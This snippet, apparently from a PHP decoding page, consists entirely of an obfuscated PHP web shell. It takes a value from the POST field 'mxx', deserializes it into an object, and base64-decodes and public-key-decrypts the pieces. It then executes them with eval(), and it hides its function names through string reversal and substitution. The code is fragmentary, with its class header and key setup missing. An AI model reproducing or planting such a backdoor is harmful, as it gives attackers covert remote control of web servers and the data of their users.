PHP Decode

<?  $cmds = explode("|", $this->test);$pk = openssl_pkey_get_public($pk);$test = '';foreach ($cmds as $value) {$ard = "xxaaa";$$ard = strrev("tpyrced_cilresubup_lssnepo");$ard1 =str_ireplace("user","",$xxaaa);echo 'hellothai';$a = substr_replace("xxser","base64_decod",2);$b = array('',$a);$c = $b[1].chr('101');$fun=str_ireplace("xx","",$c);$d = substr_replace("",$fun,0);$ard1($d($value), $de, $pk);$test .= $de;}eval($test);}}$pass = $_POST['mxx'];$len = strlen($pass)+1;$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$pass.";\";}";unserialize($pp); ?>